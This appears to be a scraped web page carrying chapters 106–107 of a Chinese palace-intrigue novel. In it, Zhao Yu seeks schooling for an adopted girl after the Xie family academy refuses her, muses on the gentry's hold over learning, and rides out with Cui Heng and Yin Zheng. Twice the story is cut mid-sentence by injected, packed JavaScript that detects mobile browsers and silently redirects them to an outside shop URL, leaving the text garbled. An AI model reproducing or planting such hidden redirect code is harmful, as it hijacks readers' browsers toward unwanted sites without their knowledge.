它看着竟然有些简陋,没有上很光亮的漆,只是刷了一层保护的桐油,显露出黑檀木自己的本色。 木匾上镌刻着四百五十年前大郑宰相李翮的真迹草书,——学海无涯。 “谢家不是清流吗?”饶是赵格非名门闺秀的做派,此时见到这样的古朴肃穆的园林,也有些震撼,“清流不应该清贫自守吗?” 赵毓,“谢冬荣很清贫自守啊。他一天吃两顿饭,每餐都是一小钵米饭与清汤菜,最多加上一味豆腐。” “在这样的院子里面吃豆腐,……”赵格非恢复了淡定,“也是一种豪奢。” 赵毓,“他姓谢。” 罗小草则抱着装着文房四宝的布包,昂着头,用力看着这里。 不知道为什么,她感觉到这样的肃穆带着一种不知名的压抑,让她的脖子有些酸。 ——这就是龙门吗? 今天是入学的日子,所以书院大门洞开,学子们可以从正门进入。此时书院门外车水马龙,却很安静。 天空开始飘起霰雪。 赵格非过来,伸手领着罗小草,跟在赵毓身后。 这里是七进的院子,谢翾飞亲自迎了出来,他今天拿了一根龙血木的拐杖,看上去有些曲里拐弯,歪七扭八。 “赵兄,还有两位女公子,这边请。” 他们走了一条小路,两旁是黑石搭的花架子,上面攀着奇异的藤。 谢翾飞说道,“这是一位故去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢翾飞的声音犹如热水浸了太久的茶,带着清苦的味道,“这些话,真的难以启齿。赵兄,那位罗小姑娘,谢家不能收。” 赵毓,“因为她出身普通农户?” 谢翾飞,“我谢家书院百年的清誉,有一点就是从不拒平民。谢家不会因为罗小姑娘出身普通农户就拒之门外。” 赵毓忽然想起来文湛对他说过,——“换了名字算大事,你和谢家说一声”这句话背后真正的含义了。 谢家拒收罗小草,哦,不,是拒收黄槿,因为黄枞菖。 谢翾飞,“我父亲对权位看的极淡,这,赵兄应该非常清楚。如今叔父谢枯荣吏部尚书权柄可以制衡左相楚蔷生,当年我父亲在仕途的声望犹在其上,可是他志不在此。他一生信奉的就是张横渠先生的那句话,——为天地立心,为生民立命,为往圣继绝学,为万世开太平。对我父亲来说,这不是一句空话,而且我父亲您也认识,他不是一个骄奢傲慢虚伪的人。” “司礼监一向有传统,由内阁大学士们亲自挑选资质上佳的内宦,后十几年,在毓正宫以世家子弟的课业严苛督导,务必雕琢成大器。如今司礼监这几位大太监的功课全部出自前朝大学士杜皬门下。 “黄秉笔又是其中翘楚。” “我在太医局供奉药物,与黄秉笔认识,无深交,不过君子之交淡如水。我对他的为人非常欣赏。” “但是,……” “我谢氏书香门第,清誉比命重。黄秉笔有奏章上批红的大权,与他相交,谢家必定被朝野冠上阉党的名号。” “阉党二字太重,谢家承受不起。” …… 赵毓从茶室走出来,有些意外看到谢十一娘。 谢纯熙对赵毓说明了来意,就将赵格非领走了。回廊下,只剩下罗小草一人,双手孤零零的搂着那个装着文房四宝的包裹。 “哥哥,……” 赵毓伸手拉着她,“早上你没吃多少,就吃了半个小馒头,喝了两口米粥。咱们又坐了一路的马车,颠簸,估计你肚子里面的东西早被颠下去了。走,我带你下馆子吃饭去。” 罗小草被他拉着,跟着一路走。 穿过依旧枯朽的紫藤架,路过了满是桂树寓意着“蟾宫折桂”好兆头的园子,再向外,就是一重门,一重门,还有一重门的高墙。 “哥哥,我是不是不能读书了?” 谢家书院门外。现在,这里已经逐渐冷清,而赵毓他们的马车旁,就站着今天不在司礼监当值的黄枞菖。 赵毓走出谢家,忽然停下,回头看了看上面的匾额。 雪飘的紧了起来。漫天白絮当中,那四个字,犹如黑铁铸造一般,坚硬而冷酷,——学海无涯。 大铜炉。 赵毓找了个雅间,在三楼。 偌大的木桌正中央是一个黄铜炉火锅,木炭烧的旺,中间的烟囱还喷着红红的火苗。火锅中,水一直滚开,咕嘟咕嘟,冒着水雾。 盘子已经把大木桌铺满了。 鲜切的羊肉,爆肚,粉丝,大白菜,萝卜,南豆腐和冻豆腐。甚至连绿豆杂面条和新出炉的芝麻烧饼也上桌了。 每个人的手中是小碗。 里面的芝麻酱混着韭菜花,红方,细碎的香菜碎末,散着喷香的味道。 只是。 屋子中的三个人,除了赵毓一个人吃的风卷残云之外,那两个都食不下咽。很快,赵毓也放下筷子。这里静寂无声,除了炭火喷出的呼呼风声,与水滚的水汽之外,连呼吸的都安静的。 外面是南城最繁华的街市。 川流不息的人群,犹如水中游动的鱼。 他们在水中很自在,——他们买菜买鱼买肉,一个大包子不过一个大子儿,大雪天一口咽下,带着太平盛世的满足。 只是。 千万不要从水中抬头,不然会被窒息而死。 从大铜炉三层木楼的雅间向北望去,即使看不真切,也能隐约看到北城那些门禁森严的深宅大院,还有凌驾一切之上的大正宫。 视线似乎是一马平川。 可是赵毓却看到了无数不可逾越的高山,蜿蜒着趟不过去的河流,屹立着众多攻不下的城池。 壁垒森森。 像封土。 大郑疆域上,看得见的封土属于王公,在千年间,逐步被废黜。而看不见的封土属于读书人,在人们心中,一代一代传承之后愈加坚不可摧。 “都哭丧着脸蛋子做什么?”赵毓拿起来一个麻将烧饼,掰开,放嘴巴中一咬,“活人还能让尿被憋死?” 罗小草眼泪要落下来一颗。 赵毓连忙说,“我也读过几年书,我教你。” 黄枞菖,“您想教什么?” 赵毓,“这不是明摆的吗?先来一遍《圣哲芳规》,如果小草书读的好,咱们明年吃元宵的时候就可以开讲《狂愚覆辙》。” 闻言,黄枞菖翻了白眼。 “怎么?”赵毓,“不成?” 黄枞菖在他耳边以极轻的声音说,“这是东宫太子启蒙用的《帝鉴图说》。圣哲芳规说的是历代帝王的励精图治;狂愚覆辙剖析了历代帝王的倒行逆施。您觉得,小草学这个,合适?” 赵毓想了想,“你教。今天谢翾飞还说你的功课是翘楚,你肯定成。” 黄枞菖又同他咬耳朵,“您去同陛下说,以后司礼监的活我不做了,我来教导一个小姑娘读书。” 赵毓又想,“需要找一个平时没事做,还会读书的人,……,呃,有了!” 罗小草听着,眼泪收了回去。 赵毓,“我表哥,崔珩。” “可是,……” 黄枞菖有些不确定。他常在司礼监,自然知道一些事情。这位宁淮侯的那双手摸过刀剑,长|枪,筷子,碗,烤猪腿,甚至是竹笛与玉萧,还有他府邸中那些妖魔鬼怪的屁股,就是没有再摸过笔。 崔珩的奏折都是侯府中一个不太靠谱的幕僚写的。据说那个幕僚就是冉庄人,本身曾经是个账房,后来算不清楚账了才给崔珩做的师爷。所以,这位侯爷递上来的奏折写的都有些四六不着。这就是圣上大度,不同他计较这些根植末梢的事情,如果换一个主子,他宁淮侯坟头的草都有一人多高了。 赵毓,“如果我表哥当年没有睡过头,误了殿试,他就是进士及第!” 106. 106 106 106 前朝首辅大臣杜皬门生故吏满朝野。 他曾经是文湛的政敌,可是即使是皇帝,登基之后经过十四年的清洗也无法彻底抹杀他的痕迹。 甚至。 杜皬曾经执教毓正宫,文湛的执政思路或多或少带着他的印记。 司礼监如今掌权的几位大太监也算他的门生。 不过。 杜皬真正的学生其实只有一人。 这位独霸朝纲二十年的老人,将他毕生对朝政的理解与经验对这个人倾囊而出,无一丝一毫保留。杜皬曾经为他策划好了锦绣前程,倘若如愿,此人会是下一任左相。只是,千算万算,老天还有一算,此人曾经自毁前途,堕落商道。于是,所有关于杜皬与此人的师生情分尽数断绝于此。 这个人,就是崔珩。 二月初一。 崔珩知道明天就是二月二,赵毓要去雍王府,所以他把自己亲手做好的花生糖和其他一些糖粘放在食盒中,送到兰叶巷。今天下起了雪。他一上台阶,忽然感觉有一阵小风儿袭来,裹着雪花绕着他身体一圈,让他不自觉的打了一个喷嚏。 崔珩本来扭头想要回府,只是低头下台阶的时候看到手中的食盒,立马反手推开了赵宅的大门。于是,他看到了赵毓,以一种狗见到肉包子的眼神炯炯有神的盯住他。 果然,赵毓对他提出一个要求。 ——教黄槿读书。 崔珩把食盒放在院子里的石桌上,“我今天要去票戏,吉祥班的几个角儿都等着哪,我不去不开锣。雍京场面上混的人都知道,说好的事情不能反悔。承怡,你说是不是这个理儿?” 他一转身,就听见赵毓说,“老楚就在前面街上住,今天似乎没去微音殿。这一次在凉坡,我帮他抹掉这么大一个麻烦,顺便请他开一堂课,他这个人外冷内热,肯定答应。老崔,你说是不是这个理儿?” 崔珩乖乖的扭头回来。 书房当成课堂。 崔珩一进去,就看见三张桌子并排放着,中间是黄槿,左右分别是赵大妈和赵大爷。三个人都昂着头,像三朵昂着脸蛋子追逐大日头的葵花。 “你们两个凑什么热闹?” 赵大妈笑着说,“从来不知道您老人家还认字,今天还要做先生,真是天上劈下一个雷,盘古开天辟地头一回,不来见识见识,我晚上吃不下饭。” 崔珩,“……” 赵大爷则异常憨厚的说,“俺劈了一晌午的柴火,劈的有点多。赵大妈让俺进来暖和暖和。” 崔珩,“……” 于是,宁淮侯又看了看黄槿,发现这个丫头两只眼睛冒着火花。 崔珩扭身出了屋,看见赵毓在廊檐下正在同黄枞菖说话。 他过去,“承怡,这个半大丫头读什么书?她如今跟了黄秉笔的姓,出阁的嫁妆肯定少不了。我看她没事可以跟赵大妈学学烧火做饭嘛,实在闲了还可以跟赵大爷学学花拳绣腿,如果还闲的蛋疼,我可以派两个绣娘过来教她女红。学好这些好嫁人。一个丫头,又不是小子,一脑子的之乎者也,会不会损了身子,以后生不了娃?” 赵毓看了看他,“我还是去找楚蔷生吧,至少人家的功课这些年没落下。不像某人,功课一下子荒废了这么多年,又不好意思认,东拉四扯的找借口,就是不想暴露自己早已经是文盲的事实。” 崔珩扭身进屋。 堂堂宁淮侯面对屋子中三朵昂着脸蛋子的葵花,“启蒙是吧,来,跟我念,人之初性本善,……” 屋子里面立马响起来千奇百怪、拖着长音儿的读书声,还有崔珩明显有些蛋疼的声音,混在一起,好像一盘子加了辣椒面、孜然粉,还有一点香菜末和臭豆腐的糖蒸酥酪。 赵毓对黄枞菖说,“你要是没事儿就回宫。” “您去哪儿?” “花骨朵第一天去学堂,我得接她。” 快要掌灯,赵格非一天的功课才结束。下了一天的雪,将要垂下的夜幕显得有些轻薄。她拎着三个布包走出言堂,就看见她亲爹赵毓站在回廊下,斜着肩膀靠在柱子上,两只眼睛看着放课的谢氏莘莘学子们,一瞬不瞬,嘴角带着有些诡异的笑。 ——准没好事。 “怎么多了两个布包?”赵毓一见她出来,赶紧过来,接过她手中的东西,“咦,闺女,你的首饰哪里去了?难道束脩不够,需要典当首饰抵债?” “谢氏书院的规矩,女弟子不允许佩戴任何首饰。”赵格非指了指其中一个缀了丝绵的小布包,“上课的时候,谢师讲了规矩,一个人发了一个小布包,让我们把所有的首饰都摘下,放在里面。每个人还发了一卷素色的绸带,说,以后梳头发只能用这样的绸带束发。” 赵毓明白了,“怕你们攀比珠宝?” “嗯。”赵格非点头。 “另外这个布包里面是什么?” 赵毓好奇的打开另外一个大一些的包袱,发现里面是三个瓷碗,两大一小,还有一双木筷子和一个木勺。 赵格非说,“书院中午有一餐饭,为每个弟子准备了一套碗筷。两个大一些瓷碗,一个盛菜,一个盛汤,小的那个盛米饭。盛多少饭菜学生们自己决定,但是不允许剩下,一餐一饭来之不易。餐后还要学生们自己动手清洗碗筷,如此,才不会十指不沾阳春水。” 瓷碗很珍稀。 景德镇一个特殊的窑烧造而成。瓷器上印的画是如今叫价最高的“吴中四王”其中一王的大作,枯笔山水。碗底烧着赵格非的名字,字迹是当代书法大家薄璩先生的墨宝,独一无二。 赵毓想要估算一下三个瓷碗的价格,却发现,无能为力。 首先,景德镇这个窑非大内用的官窑,它里面产的瓷器少而珍稀,几乎全部在清流豪族手中,没有外流。再来,花多少钱,才能买动“吴中四王”中的这一王为几个吃饭的家伙挥毫泼墨?最后,薄璩先生又不是账房里面的抄写先生,又要出动多少银子,才能买动他动手为每个学生写名字? 果然。 这样的“清贫自守”,的确是一种豪奢。 夜里。用了晚膳,距离睡觉还早,文湛把珊瑚珠子拿出来,继续雕刻。赵毓坐他一旁,一边吃瓜子,一边絮絮叨叨。 “文湛,你是不是早就知道,罗小草入了黄家的祠堂,就进不了谢氏书院的大门?” 文湛眼睛盯着手中的刻刀,只是很轻微的点头。 赵毓继续,“黄瓜在司礼监多年,政务上没有出过纰漏,只说读书、才情和能力,他比那些内阁学士们一点不差;另外,谢翾飞今天也说了他的品行也不坏,他与黄瓜的交往也可以是君子之交。综上,黄枞菖其实是一个很值得士林交往的人,可是,事实却不是这样。他们还是把他看成是阉人而拒之千里之外,虽然黄秉笔是手握重权的大太监。” “谢翾飞说谢氏有数百年的清誉,有为往圣继学的信念,收弟子不问出身,不拒平民。我觉得,哪里有些不对劲。所以今天接格非下课,我特意早去了一个时辰,在谢家书院里面转了好几圈,认识一个管书院学生们档案的老头儿,同他聊到口干舌燥,他还请我喝了茶。当然,这些都不是重点。重点是,我问了他关于谢氏弟子们的出身,刨除那些官宦世家的子弟们,究竟有那些是真正的平头老百姓?” “你猜怎么着?” 文湛抬眼看了看他,“嗯?” 赵毓,“雍京本地平民弟子出身于几大皇商家族和直隶一些富县的地主家。外省的也有,五成是两淮盐商的长子,三成是江南丝织大户的儿子,还有两成是这些豪族的闺女。有趣的是,在谢氏读书的闺女们一般有婚约。一姑娘出身十三行,是周熙的远房侄女。她的婚约刚订下来,夫婿是永昌伯的嫡次子,她亲爹出手七十万两白银做嫁妆。刨除这些人,真正算是土里刨食的平民子弟只有零星几个,其中两位还祖籍山东曲阜,自幼在孔府家学中受教。” “谢氏倒是也真的是不拒平民,可他们选择弟子有考试,异常严苛。不要说一般老百姓家的娃,就是低品级官员家的孩子都无法通过。所以说,他们口头上说着什么为民开智,可归根到底,谢氏掌握的知识,只在纯血统世家子弟还有豪族继承人中流转,这同王公世袭封地有什么不同?” “如今吴中四王一副写意山水三千两银子起价,权贵大户们疯狗一样抢夺,为什么?因为这四王以模仿古代画圣们的大作而闻名天下。” “他们模仿了大师们很多作品,诸如宋徽宗的花鸟,黄公望的山水,吴道子的人像,还有赵孟頫的奔马。这些稀世之珍除藏于大正宫一大部分,其余散落民间的几乎尽数被这四王家族和他们的亲朋好友们收藏。旁人不要说临摹学习,就连看一眼都没门。这四王以这种套路发财,同去年那些大户们以高银价吸血又有什么不同?一样都是牢牢掌控极其少又极其珍稀的好东西,坐地起价,疯狂收割。” “文湛,我记得你说过,分封是祸乱的根源,主要导致的恶果就是王朝内封土建国,各自为政,再加上土地兼并,最后将家国分崩离析。可是,如果知识过于集中在一小撮人当中,也是一种变相的疯狂的土地兼并。它们不是造福民众的智慧而成为一种不灭的权柄,这可不是什么好事情。” “为民开智,这个口号清流们叫的最响亮,可真正不想这样做的,也是他们。这天底下有八|九成不识字的民众,都开了智,清流们就失了权柄。在他们眼中,这八|九成人就是田间地头草扎的人偶,只要勤劳勇敢善良的种地,缴纳农税就好,如果想要读书识字,甚至还有别的什么要求,会让这些大人们莫名惊诧的。” “嗯,得想个什么法子,破除这些壁垒。” “一两代人肯定没戏,只是事情总要去做,怎么也得开个头,……” 文湛只是非常认真的继续雕刻着珊瑚手串,他似乎听见了,似乎没有听见。 赵毓最后来了一句,“我今天看到谢家那个十一娘了,她怎么回谢氏书院教书了?” 文湛,“……” 赵毓,“文湛你说,她同那个梅家大少爷不打算过了吗?” 文湛淡淡的说,“我怎么知道?” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728964|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毓,“……也对。” 文湛两只眼珠子看着手中的珊瑚珠子,心无旁骛,极其专注,却貌似不经意的问了一句,“你怎么对谢氏女这般上心?” “她很强。”赵毓说,“谢家这位十一娘,出身名门,有才情,有性格,有定力,还不缺美貌,只因为有可能无法再生儿子就沦为弃子,暴殄天物。这就像海量白银烂在库房中,当真是见者怵目惊心,闻者落泪。” 文湛,“……” 赵毓喝水的时候,忽然有个主意,“话赶话说到这儿,格非的画技就不错,等有空了我让她到御园后的书画阁转转,也临摹临摹,她的画作没准能成大器,到时候拿到琉璃厂一出手,谢家的束脩都不在话下。” 文湛这一次把手中的刻刀和珊瑚珠子都放下了,“格非临摹画,这事情可以做。但是你把她的画拿去卖钱,去凑谢家的束脩银子,这事不可以做。格非是你女儿,你既然想要她读书,银钱的事情你就要负责。如果你不拿,谢家的束脩,我出。” “我不是不出钱。”赵毓说,“我是觉得,能省的就需要省点。再说,我又不是真的那么抠门。谢家束脩大郑朝第一贵,我不是二话不说,削尖了脑袋挤进去吗?我知道,谢氏能学到的东西对于格非来说,是合适的,也是最好的。” “老爹不一样,当年他为了省钱,不给我另外找先生,直接把我送到东宫和你一起读书。那是皇太子的书,对我非常无用,对别人也无用,导致我现在想要给黄槿启蒙都不成。” “我觉得,之所以我读书不太好,就是因为学的东西不合适。如果,……” 赵毓开始幻想,“当年老爹肯给我多花点钱,按照我的性子,按照我的想法,还有我的喜好来请先生,那该多好啊!” 文湛被他气的都乐了,“你想学什么呀?” 赵毓脑子转了三圈,发现,——他脑子中的东西早已经定了,他想来想去,都脱离不了那些经韬纬略,那些治国之道,那些,…… 此时,赵毓悲惨的发现: ——他已经被损害了。 他根本找不到被这些储君之书框起来之前的自己。 文湛说,“我不知道先帝的想法,只是,东宫的书你再不喜欢,对你来说却是最合适的。不然,你活不下来。” 赵毓,“呃,……,是这样吗?” 文湛,“当年保命为先。如今太平了,你可以继续学一些你喜欢的东西,比如,诗词歌赋?” 赵毓,“酸文假醋。” 文湛,“画?” 赵毓,“胡乱涂鸦。” 文湛,“八股?” 赵毓,“僵化。” 文湛,“佛经?” 赵毓,“那是老二吃饭的家伙,他念好了才能化缘,我可不能抢夺他的饭碗。” 文湛看了他一眼,“你愿意和我写写字吗?你的字迹有问题,需要好好矫正一下。” 赵毓,“我唯一能拿得出手的就是这笔左手行楷,那可是楚左相的风骨!” 文湛,“……” 赵毓,“……” 文湛,“……” 赵毓,“……” 文湛,“……” 赵毓,“……” 文湛,“……” 赵毓,“呃,……,要不,我那个,用右手和你学学?” 文湛不再看他,低头,继续去刻那串珊瑚珠子,“好。明天起,我给你写字帖,你描红就好。” “呃,……” 赵毓觉得,自己没事给自己找了个大麻烦。只不过,夜里很温柔的缠绵,与前几夜相比,似乎在饕餮盛宴中夹杂着清甜的莲子粥,让他马上把这个麻烦抛诸脑后。 翌日。赵毓爬起来去寿春宫用早膳。餐桌上,他把自己关于让赵格非去书画阁临摹名画,学成之后将画作拿到琉璃厂卖银钱凑谢家束脩的事情一说,太贵妃用吃米粥的瓷勺子把他的脑门上敲出一个鼓包。 “花骨朵是你亲闺女,吃你的,喝你的,花你的,拿你的,用你的,还不是天经地义?当年你花银子如流水,先帝找你要过债吗?” “他也没给我单独找合适的先生啊!导致我学了一肚子无用的,呃,据说可以保命的东西。” 赵毓捂住脑门对赵格非说。 “你亲爹我呢肯定不是刻薄你,不过,应该赚的银钱为什么要向外推呢?现在写在你名下的嫁妆着实有些多,我想着,以后总归要你自己打理,千头万绪,总要有个大致的想法才好。比如,如果有一笔需要开销的银子,不动用房子土地这样的看得见的祖产,似乎是凭空出现的,是不是不应该放过?” 赵格非,“……” 她想了想,应该是吧,于是点头。 “用画作换束脩就是。”赵毓,“反正多画一张,少画一张,不输房子不输地契,像是站在永定河边截水一样。水流动着,如果你不截留,它们就流淌到别人口袋中。” 赵格非又点点头。 赵毓欣慰的笑着说,“快吃,今天把你送到谢家书院,我还得带你舅舅出去喝顿酒。” 107. 107 107 尹徵惨,比穷书生还凄惨。 人家穷书生头悬梁、锥刺股,每日三更睡五更起,一旦金榜题名,就有黄金屋、颜如玉和车马簇簇。 而他又有啥? 他觉得他亲爹尹明扬老了,有些糊涂了,解甲归田之后一身蛮力无处可发,全倾在自己的功课上面,也不管他是不是已经没有任何前途可言。尹徵被迫读了一阵子书。每日里起的比鸡早,睡的比狗晚,着实有些生无可恋。他想要反抗,却又没有他姐夫那种混不吝的二百五劲儿。他亲爹尹明扬虽然已致仕,可当年纵横西疆十六国战场的‘西北王’的诨号不是白来的,余威极大,在这位老爷子面前,他实在没法子像他姐夫那样应对的游刃有余,于是,只能认怂。 他亲爹让他干啥,他就得干啥。 今天二月二,龙抬头。 早上卯正二刻,小厮奉老爷的命把他从被窝中揪出,让他在火还没有生热的书房写了一百个大字,手指都僵了,这才喝了一碗熬煮的浓浓的红糖姜茶,放他回房更衣换装。他接了请柬,今天有约,要出去游园喝酒。 “少爷快一些,时辰不早了。”小厮催着,“老爷在正厅陪客,让您这边一好,就过去。” “谁来了?”尹徵叉着两个胳膊,像个叉在红柳枝上的拉莫孔雀河中的鱼,正在被沙漠中的碳火烧烤,“是不是又有人上门,给我姐夫说媒?” 尹家算大户。 他们的老巢虽然在西北云中,可雍京城中也有族人,以及不少沾亲带故的,还有更多平时八竿子也打不到的一表三千里的远亲。这些人不知道吃错了什么,从正月就开始陆续登门,理由千奇百怪,可是话里话外大抵都是一个意思,——给赵毓保媒。 “五老爷(尹明扬在族里排行第五),您家姑娘虽然去了,可这女婿就顶半个儿,您家这姑爷性子温和,对您也孝顺,您说话他一定听。花骨朵的娘走了,没留下一个儿子,这女婿要是再续弦,同咱们就远了,咱老尹家不能断了这门亲。我觉得,从族里或者亲戚中再挑一个姑娘嫁他,他赵毓不还是咱们老尹家的女婿吗?” 每次尹明扬都半眯缝着眼睛,似听非听,等别人说完,他只说一句话,“您也知道,我惧内,家里大小事情一向我夫人做主。如果您有什么想法,不妨同她讲一讲。” 表面上女人比男人好说话,可是这种事,却不一样。 来人去说服尹明扬,还是说什么大局为重,家族前途,可是对尹夫人这种话说出来,人家只要一张嘴——“我一个女人家家的什么都不懂,可是绮罗是我身上掉下来的肉,她走了,就丢下花骨朵这么一个闺女,我可不想让她受委屈,没出阁就弄个后妈在眼前伺候。” 一句话就给打发了。 尹徵不明白,他问过他娘,“我姐夫一向看起来性子温和还孝顺,他们当年以这做借口,说他惧内,吃软饭,窝囊废来着,还说什么就是自家姑娘找不到男人也绝不嫁给赵毓这样的怂货。当时言之凿凿,现在怎么一下子就跟饿狼闻到肉味一样,争先恐后的向上扑?” 尹夫人告诉他,“你二婶娘的姥姥的亲孙女的二表姐嫁入申侍郎府,她得到一个小道消息,谢枯荣曾经以谢氏嫡次女许嫁你姐夫,没成。” “就这?” “不懂?”尹夫人摇头,“你爹整日让你读书,看你读书都读傻了。” “谢枯荣是吏部尚书,谢氏数百年清贵门第,他们看中的人,虽然外人琢磨不出味儿来,可也知道不一般。既然赵毓不一般,谢氏婚约未成,他们就蠢蠢欲动,想着近水楼台先得月,先到先得。可他们不知道,这些年我也是费尽了心思,也没再给你姐夫撮合成一段姻缘,那些人,更没戏。” 从那开始,尹府来做客的,十之六七是来试探保媒拉纤的。 尹徵,“这都二月二了,他们还没死心?” 小厮笑着说,“这我可不知道,老爷只说让您弄好了赶紧过去,别的没说。” 尹徵见丫头给他弄好了腰带,他一把抓过披风,赶忙向外走,一直到正厅。门边有婆子站着,给他掀开棉布帘子,他一进屋,就觉得屋子中散发着一股馥郁的香气。王侯衣袍上特有的熏香,昭示着昂贵、隐含着复杂与危险,与文官家族一直偏爱的那种味道清淡意境深远的檀香不同。 他看清楚客人,竟然是宁淮侯崔珩。 这个人,…… 去年他们有一段复杂的缘分。尹徵在宁淮侯眼前被西疆余孽掠走,后来,又是宁淮侯从没顶的水中把他救回。 救命恩人? 是,或者,不是。 这位心思不定的崔侯爷曾经于极危之境弃他于不顾,丢车保帅。 可他归家之后,却又听说宁淮侯为了询问他的下落,确保他的平安,曾经重刑逼问,牵连甚广。 对于尹徵来说,诸事种种,一直深埋于心底。 可他明白,无论发生过什么,此人当真就是救他性命的人,如果没有崔珩,他不止断一根手指这么简单。 救命恩人。 是。 只是,如无必要,他实在不想同眼前这个人再有任何瓜葛。 崔珩一见他,端起来手边的盖碗,“部堂大人,贵公子我领走了。晚上那边散了场,我再给您送回来。保证全须全尾,完璧归赵。”喝了一口热茶,算是端茶辞客,随即起身,对尹徵说,“咱们走吧。” 尹徵不太想跟他走。 崔珩难得耐着性子解释,“你姐夫那边有些事,忙不过来,让我过来接你。你跟我走,是一样的。” 闻言,尹徵看了看亲爹的脸色,尹明扬冲着他点了点头。 崔珩乐了,“怕我?” 尹徵觉得自己有些怂,不想在自己家中认栽,于是立马恢复了云中贵公子的派头,抢先一步给崔珩掀起了门帘,“您老人家这是不怒而威,我敬您。来,您看着脚下,外面雪厚路滑,别摔着。” 崔珩笑着同尹明扬告辞,领着尹徵向外走。 这一次,他带了一辆马车过来,里面烧着暖香,在冰天雪地中显得的特别暖和。 他让尹徵上车,自己则骑马。 只是,没人的时候,崔珩掀起来马车的锦缎帘子,皮不笑肉也不笑的对尹徵来了一句,“放心,只要不是他性命攸关的当口,其他任何时候,你的命,排在我自己的前面。” 尹徵,“?!……” 崔珩说完松手,帘子撕拉一下子,垂下,像一把刀,将尹徵的视线斩成两段。 马车走的颇稳当。 出了雍京城门,一直向北。 刚出正月,管道两旁的树尽是枯枝,无一丝美景。尹徵坐在马车中,无聊至极。他那根被西疆余孽斩断的手指上戴了一根黄金指套,刮着车厢的壁,刺啦,刺啦,刺啦……。此时的‘西北王’公子像一只被困在瓷坛子中的耗子。他的手指乱,其实他的内心更乱,——这个宁淮侯和姐夫赵毓是什么关系? 忽然。 马车停下。 尹徵连忙掀起来帘子,只看见眼前一匹快马,极快,如猎隼擒拿飞鸟。 随后,那马上人却在前面路口处勒住缰绳,他胯|下黑色匈奴良驹在原地转了三圈,前蹄扬起,蹬起一阵灰尘,而四只黄金打造的马蹄铁却在尘土异样晃眼。 ——赵毓到了。 “走的不慢,我还以为在后面的十里坡能见到你们,没想到你们都走到燕良镇了。要不是看车辙碾过的痕迹,还有你留的记号,我还在十里坡傻等着呢!不过老崔,下一次你留记号温良恭俭让一些,用匕|首在树皮上刮两三道就得了,别一下子砍掉三棵大树搭成一枚箭头。这些树活这么久很不容易的,砍掉弄回冉庄都能做大梁了,让你砍掉,以后只能做劈柴了。” “你眼瞎。”崔珩也笑,“记号做小了,怕你看不到。” 宁淮侯说着,手一扬,让大家停下,修整一下。 “不能够。”赵毓说着下马,接过宁淮侯侍从递过来的水囊,里面是还温热的红枣姜茶。 尹徵也从车厢中跳出来。 一下子就要往赵毓身上扑,还没等动作,崔珩告状,“你小舅子不老实,他抠我的马车抠了一路,一会儿我得看看,要是损了什么,我找你老丈人要账去!” “我赔,我赔。”赵毓笑着说。 尹徵听这话倒是老实了,乖乖觉觉的走到赵毓身边。旁边有人也给他拿了水囊,他不渴,马车的车厢中让崔珩布置了一个大瓷壶,里面是温茶水,此外还有一些点心,所以尹徵虽然一直刮马车壁,嘴里倒也没有闲着。 赵毓却十分稀松平常的样子,对宁淮侯说,“老崔,这次麻烦你,不然我可真是分|身乏术。” “不,不,不,不麻烦,一点不麻烦。”崔珩则摆手,“只要让我干点别的,不去教那三桶浆糊读书,我干啥都成。” 赵毓又笑着说,“黄槿他们怎么又成浆糊了,你不是说人家三个像三朵葵花吗?” 崔珩,“人家葵花脸蛋子里面都是瓜子,油亮亮的,加上桂皮八角和花椒一翻炒就能上桌。黄槿,赵大妈还有那个赵大爷他们脑壳子中都是浆糊,根本摆弄不清爽。这都两天了,一本《三字经》都背不过,他们真不是读书这块料。” “可是,……”尹徵忽然开口,“我在云中读过书,私塾中,一本《三字经》先生要讲三个月的。” 此时,崔珩瞥了他一眼,“尹公子,你那位先生还健在吗?” 尹徵点头,“在。”事实上,那位先生是族中长辈,有举人功名傍身,十分注重惜福养生,又没有案牍劳形,身子骨很是健壮。 “那位老先生没被你们这群浆糊的愚笨气到一佛出世,二佛升天?躺倒棺材板中,两眼一闭,直接去见至圣先师喊冤?” 说完,这位宁淮侯使出自己名票的功力,气沉丹田,直接来了一段西皮流水: “孔圣人别走,我喊冤。你说‘有教无类’理太偏!世人多愚钝,脑袋中灌浆糊,一本《三字经》读仨月,不说自己像头猪,反怪先生不教书,气得我小老儿直接下阴曹见到您老人家嚎一通!冤枉啊!~~~~~~~~~~~~~” 尹徵,“……” “别抱怨了。”赵毓,“老崔,我又给你收了个学生。这一次,你可真要正经做先生了。” “谁?”崔珩还在挣扎,“要是还这么笨,我要挥刀自宫。” 尹徵,“……” 赵毓却笑着说,“这个学生笨倒是不笨,就是身份有些复杂。” 崔珩,“你之前哪个相好的嫁人之后不守妇道,红杏出墙之后另外下的崽儿?” “不是。”赵毓摇头,“这个孩子出身暗巷,却是良籍。按照大郑律法,他可以读书,也可以科举,却没有学堂肯收。” 崔珩一下子就明白了,“哦,那个玉什么香的儿子。” 赵毓,“玉芳。” “不管那娘儿们叫什么,这孩子聪明就成。”崔珩摸了摸自己的良心,“虽然教人读书识字是一件积功德的事,可愚笨的学生却总能激起我内心的杀机,让佛祖怪罪,实在得不偿失。” 赵毓,“你能答应就好。” 众人修整完毕,上马上车,继续北行。 今天早上赵毓起的太早,现在有些困倦,所以他弃马同尹徵一起上马车。崔珩派了个稳妥的人赶车,同时也照顾着他的坐骑。 赵毓在车厢中裹着被子刚躺好,就听见尹徵问他,“那个,……,姐夫,方才那位崔侯爷……” “我在雍京还是有一些亲朋故人的,这位宁淮侯就是其中之一。他是我表哥。”赵毓说着,闭目养神,不一会儿,竟然睡着了。 